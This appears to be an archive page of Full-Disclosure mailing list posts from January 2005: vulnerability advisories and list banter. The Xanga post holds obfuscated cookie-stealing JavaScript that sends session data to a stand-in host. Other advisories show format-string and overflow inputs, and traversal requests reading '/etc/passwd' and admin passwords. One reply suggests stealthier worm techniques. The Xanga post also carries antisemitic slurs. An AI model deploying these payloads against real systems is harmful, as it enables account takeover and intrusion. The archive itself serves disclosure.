OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
Re: [Full-Disclosure] Insecurity in Finnish parlament (computers)

From: Georgi Guninski (guninskiguninski.com)
Date: Mon Jan 03 2005 - 14:20:21 CST


so your company is making the finish lawz and it is gonna sue the guy with
his tax money?

your email revived my faith in modern democracy.

btw, i don't see anything wrong with finish parliament using unpatched
windoze - it just helps more people take part in the lawz making - what does
 your constitution say about this?

--
mother should i trust the government -- pink floyd

On Thu, Dec 23, 2004 at 03:54:00PM +0200, Mustaj?rvi Olli wrote:
> Mr. Jansson has expressed his false claims about the ICT security issues of
> the Finnish Parliament. Mr. Jansson has expressed his lies now so many times,
> for instance http://lists.netsys.
> com/pipermail/full-disclosure/2004-December/030078.html, that we will bring a
> charge against him in court. We like to underline again that Mr. Jansson's
> claims are false and incomprehensibly stupid.
>
> Head of ICT Office Olli Mustaj?rvi
>
> The Finnish Parliament Head of IT Office FIN- 00102 Helsinki Finland
> Email:firstname.surnameeduskunta.fi WWW: www.eduskunta.fi
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Re: Insecurity in Finnish parlament (computers)

gadgeteerelegantinnovations.org
Date: Mon Jan 03 2005 - 13:22:35 CST


On Mon, Dec 27, 2004 at 08:49:38PM -0500, Valdis.Kletnieksvt.edu (Valdis.Kletnieksvt.edu) wrote:
> On Sun, 26 Dec 2004 14:34:24 GMT, James Tucker said:
> > not possible. This is not to say that communications don't get
> > monitored, it is just to say that the report of 'everything you say is
> > being watched' is quite simply false.
>
> Maybe it is all being watched, and maybe it isn't. A bit of thought shows
> that acting as if it is all watched is the only sane way to behave - if you
> know only 10% is watched, but can't tell *which* 10%, there's only one
> thing to do....

google "Semantic Forests"
--
Chief Gadgeteer
Elegant Innovations
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Microsoft Windows BMP file buffer overflow

From: Chenghuai Lu (luchenghuaiyahoo.com)
Date: Mon Jan 03 2005 - 14:20:08 CST


Double click the bmp file as attached in windows.

__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRIS and Secure

From: Esler, Joel - Contractor (joel.eslerrcert-s.army.mil)
Date: Mon Jan 03 2005 - 15:50:46 CST


It's too 1337.

-----Original Message-----
From: full-disclosure-bounceslists.netsys.com
[mailto:full-disclosure-bounceslists.netsys.com] On Behalf Of Paul
Schmehl
Sent: Monday, January 03, 2005 11:17 AM
To: Blue Boar; Dave Aitel
Cc: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] Multiple Backdoors found in eEye
Products(IRIS and Secure

--On Sunday, January 02, 2005 08:27:09 PM -0800 Blue Boar
<BlueBoarthievco.com> wrote:
>
> As for proof in this particular case, I find the claim rather
> extraordinary, so I would place the burden of proof on the claimer.
> Let's see an exploit.
>
You're never going to see one. It's too sooper sekrit to share with us
mere mortals. (Sort of like the alien corpses they have hidden out in
Area
51.)

Paul Schmehl (paulsutdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu _______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
RE: [Full-Disclosure] phpBB Worm writers are dumb

From: Patrick Nolan (p.nolancomcast.net)
Date: Mon Jan 03 2005 - 19:20:06 CST


I forget who initially mentioned this but I recall in one off-the-record
conversation that virus authoring groups rarely have a QA department. For
this, white hats and security professionals can be thankful.

Regards,

Patrick Nolan
Virus Researcher - Fortinet Inc.
http://www.fortinet.com

To Submit A Virus:
pkzip/winzip password infected to
submitvirus at fortinet dot com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Secunia Research: Mozilla / Mozilla Firefox Download Dialog Source Spoofing

From: Jakob Balle (jbsecunia.com)
Date: Tue Jan 04 2005 - 02:52:22 CST


======================================================================

                     Secunia Research 04/01/2005

    - Mozilla / Mozilla Firefox Download Dialog Source Spoofing -

======================================================================
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Description of Vulnerability.........................................3
Solution.............................................................4
Time Table...........................................................5
Credits..............................................................6
About Secunia........................................................7
Verification.........................................................8

======================================================================
1) Affected Software

Firefox 1.0
Mozilla 1.7.3

Other versions may also be affected.

======================================================================
2) Severity

Rating: Less critical
Impact: Spoofing
Where: From remote

======================================================================
3) Description of Vulnerability

Secunia Research has discovered a vulnerability in Mozilla / Mozilla
Firefox, which can be exploited to spoof the source displayed in the
Download Dialog box.

The problem is that long sub-domains and paths aren't displayed
correctly, which therefore can be exploited to obfuscate what is
being displayed in the source field of the Download Dialog box.

The vulnerability has been confirmed in Mozilla 1.7.3 for Linux and
Mozilla Firefox 1.0.

Mozilla Bugzilla report:
https://bugzilla.mozilla.org/show_bug.cgi?id=275417

======================================================================
4) Solution

Currently, no solution is available. However, the vendor reports
that this vulnerability will be fixed in upcoming versions of the
affected products.

======================================================================
5) Time Table

24/11/2004 - Vulnerability reported to vendor.
20/12/2004 - The vendor published a public Bugzilla report regarding
             this vulnerability.
04/01/2005 - Public disclosure.

======================================================================
6) Credits

Discovered by Jakob Balle, Secunia Research.

======================================================================
7) About Secunia

Secunia collects, validates, assesses, and writes advisories regarding
all the latest software vulnerabilities disclosed to the public. These
advisories are gathered in a publicly available database at the
Secunia web site:

http://secunia.com/

Secunia offers services to our customers enabling them to receive all
relevant vulnerability information to their specific system
configuration.

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/secunia_security_advisories/

======================================================================
8) Verification

Please verify this advisory by visiting the Secunia web site:
http://secunia.com/secunia_research/2004-15/advisory/

Complete list of vulnerability reports released by Secunia Research:
http://secunia.com/secunia_research/

======================================================================

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] phpBB Worm writers are dumb

From: Stian Øvrevåge (sovrevagegmail.com)
Date: Tue Jan 04 2005 - 01:47:32 CST


On Mon, 3 Jan 2005 17:40:28 +0100, EmirAga <emiragaemiraga.com> wrote:
> lots has passed since releasing a phpbb worm by some stupid people, i will
> list my oppinion about it.
>
> - why release a worm? not sure about newer ones, but first one did not do
> anything, so, whats the point?. Worm will warn whole world about
> vulnerability and most of servers will patch it, without worm it would stay
> just another bug in their forum and most non will worry about it. Security
> _penetators_ are loosing their jobs because of you.
>

So, releasing a worm that does nothing but warn the world and getting
the holes patched? I would agree this is stupid from a black-hat's
point of view, but I think it's better that some kiddies exploit and
expose the vuln/exploit than some organized criminals. Have you ever
done something for the kick off it? The message I'm replying to now,
is there a point? Except saying they are stupid?

> - first worm sent a thousand requests before infection. The newer one do
> 'wget' it from static http location. STUPID. Simply worm could send his self
> by POST or FILE_UPLOAD method since they are not written in logs. In logs
> would be written a small request that most administrators will not notice.
> what's wrong with eval($_POST[x])?

It is possible for the authors to replace the scripts and hence, load
different payloads as time goes, it hasn't been done, but it is a
possibility. I would say this is harder with self-carrying code.

> - first worm wrote his self to current directory, we all know that in most
> cases this will fail. Better solution would be to write to /tmp, or even
> better to use upload $_FILES[worm][tmp_name]. So stupid!
>
> - Why didn't they removed comments and replaced their variables with smaller
> ones, so worm will go faster.

Agree with this one, it's not very "nice" code to look at, especially
when it's in some strange foreign language.

> i just hope no one will rewrite its code with newer _version_ cuz then i will
> be the stupid one here.
>
> just wanted to say that worm writing sucks and real programmer will never
> release one.
>
> greets

I myself are fascinated by worms, but then again I'm not a real programmer.

My two cents
- Stian
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] 3Com 3CDaemon Multiple Vulnerabilities

From: Sowhat . (smaillistgmail.com)
Date: Tue Jan 04 2005 - 04:23:06 CST


3Com 3CDaemon Multiple Vulnerabilities

By Sowhat
04.JAN.2005

http://secway.org/advisory/ad20041011.txt
[I.T.S] Security Research Team

Product Affected:

3Com 3CDaemon 2.0 revision 10

Vendor:

www.3Com.com

(1) BACKGROUD

3CDaemon is a free popular TFTP, FTP, and Syslog daemon for Microsoft Windows

platforms, developed by dan_gill3Com.

For more information,
http://support.3com.com/software/utilities_for_windows_32_bit.htm
ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip

3CDaemon is full of holes,ISS and Wang Ning <nwangscn.com.cn> has already

reported some bugz about 3CDaemon
(see: http://xforce.iss.net/xforce/xfdb/8970
        http://www.securityfocus.org/bid/11944
)

And I doucument some other well-known bugz here again :)

(2) Details

Remote exploitation of Multiple vulnerabilities in the 3CDaemon allows
attackers

to execute arbitrary command as the user running 3CDaemon (usually

Administrator).Some of these Vulnerabilities didnt need a valid username and

password to login.

There are several vulnerabilies

1.TFTP Reserved Device Name Denial of Service

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".

2.FTP Username Format String vulnerability

H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.

OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>

And then the 3CDaemon is dead.

3.FTP long Username Buffer overflow

D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.

4.Multiple FTP command long parameter Buffer overflow
Including:cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD, and so on
(Maybe this is what ISS's Advisory talking about)

ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>

ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.

ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.

It seems that the length of the "A" is different from every command.

5.Multiple FTP command Format string
Including:cd,delete,rename,rmdir,literal,stat,CWD, and so on

230 User logged in
ftp> cd %n
Connection closed by remote host.
ftp>

6.Multiple FTP command Reserved Device Name Information Leak
Including cd,and so on

The following command will disclosure the physical path of the 3cdaemon

ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!

and also ,CD an exsiting filename will disclosure physical path too.

ftp> cd toolz.rar
550 toolz.rar : C:/3cdaemon/toolz.rar is not a directory!

There are still some other boring bugz ,but it's enough : >

(3) WORKAROUND

Workaroud ? No......

(4) Vendor Response

Since it seems that 3com didnt maintained 3CDaemon for a long long time ,I dint
contact them :)

http://secway.org
Thank to all the members of ITS Security Team
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Xanga Login Cookie stealing Vunerability - GNAA Security Center

From: gnaa/rkz (gerrynigergmail.com)
Date: Sat Jan 01 2005 - 13:40:42 CST


Vendor: Xanga
URL: http://www.xanga.com/
Versions: Current
Remote: Yes
vendor notified: 06 Oct 2004 at 14:08
Vendor response: NONE

Summary:
~~~~~~~
Xanga is a fully featured blogging system, it
provides great control over look & feel of a users
blog by allowing HTML with only basic checks.
Xanga has well over 100,000 users and millions
of page views every hour.
A security vulnerability in the current system
allows malicious users to steal session cookies
===================================

Examples Code:
~~~~~~~~~~~~~~~~~~~~~~~~
Pre-reqs:
* Create an Account, this does not require a valid email.

1. Click Look & Feel on the lefthand navigation bar
2. In the "Insert your own HTML" Box enter for following code.
~~~~~~~~~~~~CUT AFTER HERE~~~~~~~~~~~~~~~~~
<script>
var gt = "<";
var e1 = "scr";
var e2 = "ipt";
var lt = ">";
var if1 = "ifr";
var if2 = "ame";
document.write(gt + e1 + e2 + lt);
document.write("var jewsdidwtc = documen");
document.write("t.cook");
document.write("ie.split(\';\');");
document.write("<\/script>");
// WRITE COOKIE TO TOP OF SCREEN.
document.write(jewsdidwtc);
var quot = '"'
// THE FOLLOWING CODE DEMONSTRATES HOW
// TO STEAL THE COOKIE, "SOMESITE" SHOULD
// BE A SITE WHERE YOU CAN TAIL THE LOGS
// OR MAYBE WRITE A SPECIFIC SCRIPT TO
// CAPTURE THE ARGUMENTS PROVIDED

var url = "http://SOMEWEBSITE/";
document.write(gt + if1 + if2);

document.write(" src=" + url + "?guid=");
// --- get guid ---
var GUID = "GUID=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(GUID) == 0) var GUIDval = c.substring(GUID.length,c.length);
}
// --- get username ---
var USER = "u=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(USER) == 0) var USERval = c.substring(USER.length,c.length);
}
// --- get sessionid ---
var SESS = "x=";
for(var i=0;i < jewsdidwtc.length;i++)
{
var c = jewsdidwtc[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(SESS) == 0) var SESSval = c.substring(SESS.length,c.length);
}
document.write(GUIDval);
document.write("&u=" + USERval);
document.write("&x=" + SESSval);
document.write(quot);
document.write(" WIDTH=1 HEIGHT=1" + lt);

</script>
~~~~~~~~~~~~END CUT HERE~~~~~~~~~~~~~~~~~
=========================================

Impact:
~~~~~
This code just shows how to steal session cookies, it would
seem that getting hits to a malicious users blog could be quite
hard. This is not the case. When combined with existing Xanga
exploits: 1. http://homepage.ntlworld.com/allencastro/autoreg.gnaa
             2. http://homepage.ntlworld.com/allencastro/xanga.gnaa
could potentially generate thousands of hits and even become
featured on Xanga's front page (due to popularity of page).
Meaning the attacker could get thousands of logins in a
few hours.

Vendor:
~~~~~
Vendor was informed months ago but we have recieved no reply.

Credits:
~~~~~
K5 Article on Xanga: http://www.kuro5hin.org/story/2004/12/28/161214/43
The GNAA Security Team: http://www.gnaa.us/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] This sums up Yahoo!s securitypolicyto a -T-

From: Clairmont, Jan M (jan.m.clairmontcitigroup.com)
Date: Tue Jan 04 2005 - 08:48:08 CST


I love it when self-proclaimed luzer's claim to own anything. What do they
claim to own a couple of old ladies, children's or unprotected
files on some pc's. Wow daddy stand back in awe, this luzer hacked a
child's pc and gets to play on their 33.4K baud connection, so impressive.8->

Why don't you try to create something useful for society, like a new video game or
a better spreadsheet, because in reality, you can't even do that.

Happy new year luzers get out of your mother's basement and put your pajama's on, you're busted.

Jan Clairmont
Firewall Administrator/Consultant

From: full-disclosure-bounceslists.netsys.com
[mailto:full-disclosure-bounceslists.netsys.com]On Behalf Of n3td3v
Sent: Saturday, January 01, 2005 5:26 AM
To: full-disclosurelists.netsys.com
Subject: Re: [inbox] Re: [Full-Disclosure] This sums up Yahoo!s
securitypolicyto a -T-

On Fri, 31 Dec 2004 22:01:52 -0500, Exibar <exibarthelair.com> wrote:
> Heck, they probably already have their son's account information anyway...
> I'm sure that someone, somewhere, hacked his account and gave them the
> information. Or maybe they just guessed the PW....
>
> Ex

Because we all know Yahoo! has no account security, so kids aged 15
can hack an account. Yahoo! is like hacking for beginners. Its easy to
do, and therefore a great network to learn skills.. bravo Yahoo!, you
have a use after all.

n3td3v owns you all, even you self proclaimed and so-called experts
and professionals.

*makes rude hand jestures*

;-)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] Microsoft Windows BMP file buffer overflow

From: SysAdminKC (sysadminkcgmail.com)
Date: Tue Jan 04 2005 - 10:28:59 CST


McAfee VirusScan Enterprise 7.0 with def's created on 12/29/04 (4417)
detected the 'Exploit-LoadImgAPI' trojan.

--Kendall
"There is nothing worse than aggressive stupidity." -- Johann Wolfgang
von Goethe

On Mon, 3 Jan 2005 12:20:08 -0800 (PST), Chenghuai Lu
<luchenghuaiyahoo.com> wrote:
> Double click the bmp file as attached in windows.
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] The Macallan mail solution 4.0.6.8 (Build 786) contains several vulnerabilities

From: Alex V. Lukyanenko (y_avenger_yua.fm)
Date: Tue Jan 04 2005 - 06:01:20 CST


Hello CIRT,
DO you people think you digitally sign your correspondence by
attaching a public key block to the end?
EEEK!
I prefer to stay quiet about using an insecure-unless-proven-otherwise
type of MUA.

Friday, December 31, 2004, 2:29:29 PM, you wrote:
...
CA> X-Mailer: Microsoft Outlook, Build 10.0.4024
...
CA> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
...
CA> The Macallan Mail Solution are vulnerable to the problems shown below:
CA>
CA> "Macallan Mail Solution Web Interface Authentication Bypass" similar to
CA> vulnerability reported earlier by Secunia
CA> http://secunia.com/advisories/10861/
CA>
CA> Denial of Service when requesting an overly long URL starting with an
CA> interrogation mark on the web server
CA>
CA>
CA> To read the full advisory goto http://www.cirt.dk
CA>
CA> Regards
CA> Dennis Rand
CA> http://www.cirt.dk
CA>
CA> -----BEGIN PGP PUBLIC KEY BLOCK-----
CA> Version: PGP 8.0
CA>
CA> mQGiBEAf2xcRBADMrO7uP0dJq1ZsXkLZLqEhz58LL77qLbXOMNoDRkAo+4MTZoZC
CA> WMNkZsx3D5tbou4KJZCnayt0PFjymyYLsOJ6WauTfXOLA/L+sXTJCa7vSsWwlcQW
CA> m01uy0+djp3XumGHkWdWXvu5cXm7y+UjsF5iiQV8X9EGR18ApoCzA/mi/QCg/zzf
CA> Kw9x7XXGi1pLTpUBI/BvaRkD/2pZf4NLsF7TcCT/rDcNexxr5Ci9xHfglBFKUcQK
CA> 9NnF/umLLM3PVyFk8zl7Ra2d8rvPzhDdIi+VGu0Flv5ckRRhiu9A4sOE6zbTkv3f
CA> Q+je/ynnpl36OLswYG+iCELZqzOssRUTe4m9nSeJrbvtyFkW7I/UrBkfursed6yD
CA> vzVDA/4mrWEWgjZkO4wEefwg6FOXr2dChGmdoVXaDyKuQ89hp99THPIALjnorNQK
CA> 91IbzyJGX+HaU/KyfKgQfeEEd4znfi9EEaDNDzQmbCntmmCq2PAN0OOcqm4lVNOi
CA> CzEDvsweRxGdffQA+aoNjqeACL1YmPNnTWeNeMNYN7kYD9sTJrQgQ0lSVCBBZHZp
CA> c29yeSA8YWR2aXNvcnlAY2lydC5kaz6JAFgEEBECABgFAkAf2xcICwkIBwMCAQoC
CA> GQEFGwMAAAAACgkQX3fRHNAOUc+KAQCfUD3uwuQmiZjUNXmcKyzXVWFni7cAniIS
CA> fmTQMRf3rIs6kKmSXfnfrXG+uQINBEAf2xcQCAD2Qle3CH8IF3KiutapQvMF6PlT
CA> ETlPtvFuuUs4INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZ
CA> X9x2Uk89PY3bzpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56N
CA> oKVyOtQa8L9GAFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kj
CA> wEPwpVsYjY67VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obE
CA> AxnIByl6ypUM2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAIC
CA> B/98f1FQkSzTqoH80viqqJTj3xZVe7xi+n4g4Ji3zuHW+jsgg6SPZOykCDSuzTCO
CA> hJ6LLnwFaqGGu2As7RaNd335P8rH1bLwWQMmIo+Kohj3Ya7cg6gPkkiMSZAIpdca
CA> cXVbxtKZ05dxcixddO2/HOc84/1mR8ajIOsmFKl4DXJ9OwCglgh1i914rQLx5mei
CA> K0XheewAT9eA13yPwbUR1EnormDdaz0USX3l5GBGgvHBO3Xy+muoL8Qzep4PIqfL
CA> Eg18tNXh0vQzBGdmhAjdSVSnSMBts4D5K20HC2YvbdPzWjVeyKg+yTYl4r3r1D+x
CA> vSPng/cCcSX1bESzjOMCE6PDiQBMBBgRAgAMBQJAH9sXBRsMAAAAAAoJEF930RzQ
CA> DlHPdCgAn1jt7gbjHBTQLwTuZH6mpvOnWYs+AJ4sIPIoGz+6/YQLbWr1zXEbmKxo
CA> CA==
CA> =4wBy
CA> -----END PGP PUBLIC KEY BLOCK-----
CA>
CA> _______________________________________________
CA> Full-Disclosure - We believe in it.
CA> Charter: http://lists.netsys.com/full-disclosure-charter.html

--
Alex V. Lukyanenko | 86195208icq | y_avenger_yua.fm

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Socket termination, format string and XSS in Soldner Secret Wars 30830

From: Luigi Auriemma (aluigiautistici.org)
Date: Tue Jan 04 2005 - 12:57:43 CST


#######################################################################

                             Luigi Auriemma

Application: SÖLDNER - Secret Wars
              http://www.secretwars.net
Versions: <= 30830
Platforms: Windows
Bugs: A] silent socket termination
              B] in-game format string
              C] in-game cross site scripting versus admin
Exploitation: remote, versus server (B and C are in-game bugs)
Date: 04 Jan 2005
Author: Luigi Auriemma
              e-mail: aluigiautistici.org
              web: http://aluigi.altervista.org

#######################################################################

1) Introduction
2) Bugs
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

SÖLDNER is a tactical military game developed by Wings Simulations
(http://www.wingssimulations.com) and has been released in May 2004.

#######################################################################

=======
2) Bugs
=======

----------------------------
A] silent socket termination
----------------------------

The bug happens when the server receives an UDP packet of 1401 or more
bytes causing the immediate termination of the listening thread for a
bad handling of the "message too long" socket error.
The termination of the socket is silent (no warning or messages) so
the admin cannot easily understand what is happened.

------------------------
B] in-game format string
------------------------

An attacker can crash or execute remote code on the game server simply
sending a message containing the format arguments (like the classical
%n%n%n).

--------------------------------------------
C] in-game cross site scripting versus admin
--------------------------------------------

The SÖLDNER server has a nice web interface (port 7890) useful for the
remote administration of the servers.
This web interface contains also a screen (chat) in which are shown all
the server logs included the messages exchanged by the users that are
not filtered and so an attacker can execute HTML or Javascript code in
the admin's browser.

#######################################################################

===========
3) The Code
===========

A] http://aluigi.altervista.org/poc/soldnersock.zip

B] %n%n%n

C] <script>alert("hello");</script>

#######################################################################

======
4) Fix
======

No fix.
No reply from the developers.

#######################################################################

---
Luigi Auriemma
http://aluigi.altervista.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] QWikiwiki directory traversal vulnerability

From: Madelman (madelmaniname.com)
Date: Tue Jan 04 2005 - 13:31:41 CST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Title: QWikiwiki directory traversal vulnerability
Vulnerability discovery: Madelman <madelman AT iname.com>
Date: 01/01/2005
Severity: Critical

Summary:
- --------

QwikiWiki is driven by one core design goal: simplicity. This design
goal is codified into three key principles:
~ Self Sufficiency: QwikiWiki requires only a web server and PHP.
~ Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box".
~ Minimalist Featureset: QwikiWiki is not everything to everybody.

QwikiWiki uses only cookies and the file system, and thus does not
require a MySQL server or any other database
support. Data is stored in simple text files, and backups are just
complete copies of the data directory. Ain't
nothing fancier than it need be.
(from vendor site: http://www.qwikiwiki.com)

QWikiwiki doesn't check the page parameter which allows reading any file

This vulnerability has been tested with QWikiwiki 1.4.1

Details:
- --------

If we want to read the password for QWikiwiki:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../_config.php%00
RETURNS: (looking at source of HTML)
[...]
$QW_CONFIG['title'] = "QwikiWiki";
$QW_CONFIG['adminName'] = "David Barrett";
$QW_CONFIG['adminPassword'] = 'changeme!'

We can also read any file the webserver has permission to:

REQUEST:
http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00
RESPONSE:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]

Solution
- --------

Temporary Fix
In file _wikiLib.php substitute

function QWCreateDataPath?( $page, $extension )
{
return 'data/'. $page . $extension;
}

with

function QWCreateDataPath?( $page, $extension )
{
if (strpos($page, "..") === false) {
~ return 'data/'. $page . $extension;
} else {
~ return '';
}
}

Timeline
- --------

01/01/2005 - Vulnerability found
01/01/2005 - Vendor contacted
01/01/2005 - Vendor confirmed bug
04/01/2005 - Bug published in vendor page and advisory released
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFB2u8d3RWooxY20cIRArbIAJsEu1pSqJuHdYpWmOO76oHoTxcixACgj/sP
BcUAER8m/maxIApdZEQ0MfA=
=LZ+j
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Mysql windows 4.1.8 build PATH mess-up

From: Peter Oswald Jr. (peteoswaldcomcast.net)
Date: Tue Jan 04 2005 - 11:11:39 CST


Not sure if this has already been posted, but when Mysql 4.1.8 is installed,
it gives an option to add its bin directory to the PATH. I am new to this
but I hope my explanation gets the point across. It modifies such an example
path:

 

PATH=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program
Files\Microsoft Visual Studio\Common\Tools\WinNT;C:\Program Files\Microsoft
Visual Studio\Common\MSDev98\Bin;C:\Program Files\Microsoft Visual
Studio\Common\Tools;C:\Program Files\Microsoft Visual
Studio\VC98\bin;C:\BC45\BIN

 

to-

 

PATH=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Progra
m Files\Microsoft Visual Studio\Common\Tools\WinNT;C:\Program
Files\Microsoft Visual Studio\Common\MSDev98\Bin;C:\Program Files\Microsoft
Visual Studio\Common\Tools;C:\Program Files\Microsoft Visual
Studio\VC98\bin;C:\BC45\BIN

 

It seems that %SystemRoot% does not get defined until a certain point (later
than needed) in the Windows boot process, and causes the problem of the
C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem directories not
getting set in the PATH. For example, install Mysql 4.1.8 (windows build)
and select the option to add to PATH, then reboot. Then try an "ipconfig"
and it will say unrecognized command, as well as any other executables that
are in the aforementioned directories.

 

-Peter Oswald

 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
Re: [Full-Disclosure] list noise

From: Steve Kudlak (stevex11sbcglobal.net)
Date: Tue Jan 04 2005 - 15:11:36 CST


dcdaveatt.net wrote:

>I will NOT respond to this;
>I will NOT respond to this;
>I will Not respond to this;
>
>dcdave
>
>--
>CSO
>InfoSec Group
>703-626-6516
>
>
> -------------- Original message ----------------------
>From: phased <phasedmail.ru>
>
>
>>I also care about noise, and responding to stupid mails makes it worse.
>>Every time people send stupid mails like the rm file thing, and people reply to
>>the list, the author was successful in filling the list with crap for a day or
>>so.
>>
>>If no one replies, then they dont get attention and the people who know their
>>advisories(anyone with common sense) are blatantly crap will not be affected by
>>their nuisance.
>>
>>You always get a load of emails to the list from people who want to tell
>>everyone they know that an advisory for example was crap, yes we know
>>thank you, but we are not handing out gold stars today!!!
>>No need to tell us all every time!!!
>>
>>phased
>>
>>-----Original Message-----
>>From: Barrie Dempster <barriereboot-robot.net>
>>To: full-disclosurelists.netsys.com
>>Date: Thu, 30 Dec 2004 09:36:07 +0000
>>Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand
>>SecureIIS)
>>
>>
>>
>>>I'd have to agree with the eEye statement on this one. You sent out an
>>>advisory without disclosing the details, which offers no real benefit to
>>>anyone. Many people consider this responsible disclosure but that also
>>>requires you to notify the vendor (there were no eeye.com's in your
>>>"to" list but there were a couple of press mailboxes).
>>>
>>>You didn't contact eEye, you didn't release details, you used an
>>>anonymous address and failed to mention or credit any of the other guys
>>>in your "testing team", This can only lead us to believe that the
>>>advisory is fake and only intended to generate bad press for eEye. I
>>>personally don't care about eEye's PR rating but I do care about the
>>>level of noise on these lists and I do care about backdoor-ed commercial
>>>products that are in common use. You may have an issue with eEye and see
>>>this as revenge. However, I doubt you also have an issue with the many
>>>admins who probably have spent their holiday season investigating these
>>>claims, when there are likely more pressing matters to address, such as
>>>a large stock of alcohol.
>>>
